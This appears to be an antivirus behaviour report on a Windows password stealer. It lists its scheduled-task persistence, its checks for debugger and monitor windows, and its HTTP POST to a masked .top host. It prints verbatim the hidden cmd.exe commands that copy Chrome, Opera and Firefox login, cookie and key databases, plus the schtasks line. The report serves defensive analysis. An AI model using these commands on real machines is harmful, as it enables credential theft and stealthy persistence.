Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\service\diagnostic
Malicious functions
Searches for windows to
detect analytical utilities:
- ClassName: 'OLLYDBG', WindowName: ''
- ClassName: 'GBDYLLO', WindowName: ''
- ClassName: 'pediy06', WindowName: ''
- ClassName: 'RegmonClass', WindowName: ''
- ClassName: 'FilemonClass', WindowName: ''
- ClassName: '', WindowName: 'File Monitor - Sysinternals: www.sysinternals.com'
- ClassName: 'PROCMON_WINDOW_CLASS', WindowName: ''
- ClassName: '', WindowName: 'Process Monitor - Sysinternals: www.sysinternals.com'
Modifies file system
Creates the following files
- %TEMP%\6665\_screen_desktop.jpeg
- %TEMP%\eknut4e.tmp
- %TEMP%\autc9d3.tmp
- %TEMP%\c7a01640
- %TEMP%\6665.zip
- %TEMP%\6665\_firefox\key3.db
- %TEMP%\6665\_firefox\cookies.sqlite
- %TEMP%\6665\_firefox\formhistory.sqlite
- %APPDATA%\serviceget\$dpx$.tmp\ed06083f274b1645b222cc4a62dafcd4.tmp
- %TEMP%\6665\_opera\default_key.bin
- %TEMP%\6665\_opera\default_logins.db
- %TEMP%\6665\_opera\default_webdata.db
- %TEMP%\6665\_chrome\default_key.bin
- %TEMP%\6665\_chrome\default_cookies.db
- %TEMP%\6665\_chrome\default_logins.db
- %TEMP%\6665\_chrome\default_webdata.db
- %TEMP%\6665\_information.txt
- %TEMP%\6665\_opera\default_cookies.db
- %APPDATA%\serviceget\$dpx$.tmp\5ffa1e8e2099d840bc5d496c932f5bcc.tmp
Deletes the following files
- %TEMP%\6665.zip~rf11a7c3.tmp
- %TEMP%\6665.zip~rf11a801.tmp
- %TEMP%\6665\_information.txt
- %TEMP%\6665\_screen_desktop.jpeg
- %TEMP%\6665\_chrome\default_cookies.db
- %TEMP%\6665\_chrome\default_key.bin
- %TEMP%\6665\_chrome\default_logins.db
- %TEMP%\6665\_chrome\default_webdata.db
- %TEMP%\6665\_firefox\cookies.sqlite
- %TEMP%\6665\_firefox\formhistory.sqlite
- %TEMP%\6665\_firefox\key3.db
- %TEMP%\6665\_opera\default_cookies.db
- %TEMP%\6665\_opera\default_key.bin
- %TEMP%\6665\_opera\default_logins.db
- %TEMP%\6665\_opera\default_webdata.db
- %TEMP%\autc9d3.tmp
Moves the following files
- from %TEMP%\6665.zip to %TEMP%\6665.zip~rf11a7c3.tmp
- from %TEMP%\6665.zip to %TEMP%\6665.zip~rf11a801.tmp
- from %APPDATA%\serviceget\$dpx$.tmp\ed06083f274b1645b222cc4a62dafcd4.tmp to %APPDATA%\serviceget\toveces.dat
- from %APPDATA%\serviceget\$dpx$.tmp\5ffa1e8e2099d840bc5d496c932f5bcc.tmp to %APPDATA%\serviceget\toveces.exe
Substitutes the following files
- %TEMP%\6665.zip
- %TEMP%\c7a01640
Network activity
Connects to
- 'ty###o42.top':80
TCP
HTTP POST requests
- http://ty###o42.top/index.php
UDP
- DNS ASK ty###o42.top
Miscellaneous
Searches for the following windows
- ClassName: 'Registry Monitor - Sysinternals: www.sysinternals.com' WindowName: ''
- ClassName: '18467-41' WindowName: ''
Creates and executes the following
- '%WINDIR%\syswow64\cmd.exe' /c copy /Y "%HOMEPATH%\Desktop\*.txt" "%TEMP%\6665\_Files"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c copy /Y "%LOCALAPPDATA%\google\chrome\User Data\Default\Web Data" "%TEMP%\6665\_Chrome\default_webdata.db"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c copy /Y "%LOCALAPPDATA%\google\chrome\User Data\Default\Login Data" "%TEMP%\6665\_Chrome\default_logins.db"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c copy /Y "%LOCALAPPDATA%\google\chrome\User Data\Default\Cookies" "%TEMP%\6665\_Chrome\default_cookies.db"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c copy /Y "%LOCALAPPDATA%\google\chrome\User Data\Default\Network\Cookies" "%TEMP%\6665\_Chrome\default_cookies.db"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c copy /Y "%APPDATA%\Opera Software\Opera Stable\Web Data" "%TEMP%\6665\_Opera\default_webdata.db"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c copy /Y "%APPDATA%\Opera Software\Opera Stable\Login Data" "%TEMP%\6665\_Opera\default_logins.db"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c copy /Y "%APPDATA%\Opera Software\Opera Stable\Cookies" "%TEMP%\6665\_Opera\default_cookies.db"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c copy /Y "%APPDATA%\Opera Software\Opera Stable\Network\Cookies" "%TEMP%\6665\_Opera\default_cookies.db"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c copy /Y "%APPDATA%\Mozilla\Firefox\Profiles/gn7ryp3k.default\formhistory.sqlite" "%TEMP%\6665\_Firefox\formhistory.sqlite"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c copy /Y "%APPDATA%\Mozilla\Firefox\Profiles/gn7ryp3k.default\cookies.sqlite" "%TEMP%\6665\_Firefox\cookies.sqlite"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c copy /Y "%APPDATA%\Mozilla\Firefox\Profiles/gn7ryp3k.default\signons.sqlite" "%TEMP%\6665\_Firefox\signons.sqlite"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c copy /Y "%APPDATA%\Mozilla\Firefox\Profiles/gn7ryp3k.default\logins.json" "%TEMP%\6665\_Firefox\logins.json"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c copy /Y "%APPDATA%\Mozilla\Firefox\Profiles/gn7ryp3k.default\key3.db" "%TEMP%\6665\_Firefox\key3.db"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c copy /Y "%APPDATA%\Mozilla\Firefox\Profiles/gn7ryp3k.default\key4.db" "%TEMP%\6665\_Firefox\key4.db"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c expand.exe "%TEMP%\eKnut4e.tmp" -F:* "%APPDATA%\ServiceGet" & schtasks /create /tn \Service\Diagnostic /tr """"%APPDATA%\ServiceGet\Toveces.exe""" """%APPDATA%\ServiceGet\Toveces.dat"""" /st...' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c copy /Y "%HOMEPATH%\Desktop\*.txt" "%TEMP%\6665\_Files"
- '%WINDIR%\syswow64\cmd.exe' /c expand.exe "%TEMP%\eKnut4e.tmp" -F:* "%APPDATA%\ServiceGet" & schtasks /create /tn \Service\Diagnostic /tr """"%APPDATA%\ServiceGet\Toveces.exe""" """%APPDATA%\ServiceGet\Toveces.dat"""" /st...
- '%WINDIR%\syswow64\cmd.exe' /c copy /Y "%APPDATA%\Mozilla\Firefox\Profiles/gn7ryp3k.default\key4.db" "%TEMP%\6665\_Firefox\key4.db"
- '%WINDIR%\syswow64\cmd.exe' /c copy /Y "%APPDATA%\Mozilla\Firefox\Profiles/gn7ryp3k.default\key3.db" "%TEMP%\6665\_Firefox\key3.db"
- '%WINDIR%\syswow64\cmd.exe' /c copy /Y "%APPDATA%\Mozilla\Firefox\Profiles/gn7ryp3k.default\logins.json" "%TEMP%\6665\_Firefox\logins.json"
- '%WINDIR%\syswow64\cmd.exe' /c copy /Y "%APPDATA%\Mozilla\Firefox\Profiles/gn7ryp3k.default\signons.sqlite" "%TEMP%\6665\_Firefox\signons.sqlite"
- '%WINDIR%\syswow64\cmd.exe' /c copy /Y "%APPDATA%\Mozilla\Firefox\Profiles/gn7ryp3k.default\cookies.sqlite" "%TEMP%\6665\_Firefox\cookies.sqlite"
- '%WINDIR%\syswow64\cmd.exe' /c copy /Y "%APPDATA%\Mozilla\Firefox\Profiles/gn7ryp3k.default\formhistory.sqlite" "%TEMP%\6665\_Firefox\formhistory.sqlite"
- '%WINDIR%\syswow64\cmd.exe' /c copy /Y "%APPDATA%\Opera Software\Opera Stable\Network\Cookies" "%TEMP%\6665\_Opera\default_cookies.db"
- '%WINDIR%\syswow64\cmd.exe' /c copy /Y "%APPDATA%\Opera Software\Opera Stable\Cookies" "%TEMP%\6665\_Opera\default_cookies.db"
- '%WINDIR%\syswow64\cmd.exe' /c copy /Y "%APPDATA%\Opera Software\Opera Stable\Login Data" "%TEMP%\6665\_Opera\default_logins.db"
- '%WINDIR%\syswow64\cmd.exe' /c copy /Y "%APPDATA%\Opera Software\Opera Stable\Web Data" "%TEMP%\6665\_Opera\default_webdata.db"
- '%WINDIR%\syswow64\cmd.exe' /c copy /Y "%LOCALAPPDATA%\google\chrome\User Data\Default\Network\Cookies" "%TEMP%\6665\_Chrome\default_cookies.db"
- '%WINDIR%\syswow64\cmd.exe' /c copy /Y "%LOCALAPPDATA%\google\chrome\User Data\Default\Cookies" "%TEMP%\6665\_Chrome\default_cookies.db"
- '%WINDIR%\syswow64\cmd.exe' /c copy /Y "%LOCALAPPDATA%\google\chrome\User Data\Default\Login Data" "%TEMP%\6665\_Chrome\default_logins.db"
- '%WINDIR%\syswow64\cmd.exe' /c copy /Y "%LOCALAPPDATA%\google\chrome\User Data\Default\Web Data" "%TEMP%\6665\_Chrome\default_webdata.db"
- '%WINDIR%\syswow64\expand.exe' "%TEMP%\eKnut4e.tmp" -F:* "%APPDATA%\ServiceGet"
- '%WINDIR%\syswow64\schtasks.exe' /create /tn \Service\Diagnostic /tr """"%APPDATA%\ServiceGet\Toveces.exe""" """%APPDATA%\ServiceGet\Toveces.dat"""" /st 00:01 /du 9800:19 /sc once /ri 1 /f
